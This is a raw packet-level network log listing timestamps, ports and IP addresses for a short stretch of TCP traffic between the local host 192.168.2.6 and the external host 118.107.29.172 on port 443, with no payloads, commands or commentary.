Dec 18, 2024 13:35:53.236479044 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.236531019 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.242249966 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.242276907 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.242327929 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.242338896 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.242372990 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.242387056 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.248522043 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.248547077 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.248600006 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.248613119 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.248624086 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.248688936 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.287133932 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.287161112 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.287208080 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.287239075 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.287254095 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.287275076 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.382550001 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.382589102 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.382648945 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.382699013 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.382713079 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.382738113 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.411911964 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.411950111 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.411998034 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.412044048 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.412058115 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.412101984 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.416975021 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.417009115 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.417076111 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.417099953 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.417133093 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.417149067 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.422918081 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.422952890 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.423019886 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.423037052 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.423060894 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.423080921 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.428951025 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.428977966 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.429029942 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.429040909 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.429059029 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.429081917 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.433767080 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.433798075 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.433872938 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.433882952 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.433914900 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.433933973 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.440814972 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.440845013 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.440912008 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.440943003 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.440953970 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.441222906 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.587727070 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.587753057 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.587835073 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.587898970 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.587996960 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.832051992 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.832077980 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.832120895 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.832150936 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.832166910 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.832196951 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.837305069 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.837337017 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.837377071 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.837402105 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.837420940 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.837438107 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.842466116 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.842499018 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.842551947 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.842577934 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.842602968 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.842621088 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.848627090 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.848653078 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.848706007 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.848733902 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.848747969 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.848818064 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.853825092 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.853852034 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.853892088 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.853914976 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.853929043 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.853950977 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.859451056 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.859469891 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.859541893 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.859560966 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.859586954 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.861447096 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.865308046 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.865324020 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.865365982 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.865386009 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.865402937 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.865422010 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.870780945 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.870800018 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.870848894 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.870877028 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.870898962 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.870919943 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.876686096 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.876704931 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.876750946 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.876780033 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.876805067 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.876843929 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.881818056 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.881834984 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.881882906 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.881910086 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.881926060 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.882128954 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.887859106 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.887876034 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.887953997 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.887978077 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.888093948 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.893224001 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.893241882 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.893295050 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.893316984 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.893335104 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.893354893 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.898993015 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.899019003 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.899095058 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.899123907 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.899137020 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.899195910 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.905318022 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.905344009 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.905441999 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.905461073 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.905497074 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.909893036 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.909919024 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.909975052 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.909986973 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.910001993 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.910021067 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.915918112 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.915944099 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.915998936 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.916013956 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.916028976 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.916091919 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.959458113 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.959496021 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.959594965 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.959624052 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.959666967 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.989309072 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.989342928 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.989434958 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.989470005 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.989480972 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.989506960 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.995357990 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.995381117 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.995424986 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.995438099 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.995464087 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.995476007 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.000500917 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.000518084 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.000595093 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.000605106 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.000626087 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.000642061 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.006326914 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.006345034 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.006391048 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.006401062 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.006429911 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.006443977 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.012042046 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.012063026 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.012104988 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.012115002 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.012145996 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.012160063 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.017438889 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.017460108 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.017508030 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.017534971 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.017550945 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.017842054 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.055747032 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.055773973 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.055828094 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.055856943 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.055870056 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.055905104 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.149308920 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.149336100 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.149382114 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.149420023 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.149435997 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.149872065 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.182276964 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.182301044 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.182389021 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.182431936 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.182472944 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.185136080 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.185153008 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.185240030 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.185257912 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.185306072 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.188509941 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.188525915 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.188597918 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.188618898 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.188657999 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.190763950 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.190781116 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.190833092 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.190851927 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.190891981 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.193140030 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.193156958 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.193232059 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.193250895 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.193285942 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.208704948 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.208722115 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.208795071 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.208837986 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.208877087 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.247840881 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.247864962 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.247925043 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.247961044 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.247977972 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.248004913 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.341694117 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.341717005 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.341806889 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.341845036 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.341856956 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.342001915 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.374716997 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.374743938 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.374825954 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.374846935 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.374869108 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.374888897 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.376703978 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.376725912 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.376790047 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.376805067 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.376857996 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.379004002 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.379023075 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.379067898 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.379076004 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.379108906 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.379128933 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.381587029 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.381603956 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.381663084 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.381674051 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.381690025 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.381709099 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.384916067 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.384938002 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.384979963 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.384989023 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.385015965 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.385040045 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.400909901 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.400930882 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.400984049 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.400995970 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.401030064 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.441203117 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.441294909 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.443555117 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.443627119 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.536024094 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.536053896 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.536129951 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.536153078 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.536190033 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.565747023 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.565778017 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.565826893 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.565865993 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.565881014 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.565898895 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.568809032 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.568871021 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.568906069 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.568917036 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.568933010 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.568952084 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.571472883 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.571516991 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.571551085 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.571559906 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.571583986 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.571599007 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.573976040 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.574028969 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.574049950 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.574060917 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.574095011 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.574106932 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.577425957 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.577482939 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.577505112 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.577522039 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.577538013 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.577559948 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.593231916 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.593282938 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.593307018 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.593323946 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.593350887 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.593375921 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.632395029 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.632419109 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.632493973 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.632520914 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.632545948 CET	49728	443	192.168.2.6	118.107.29.172
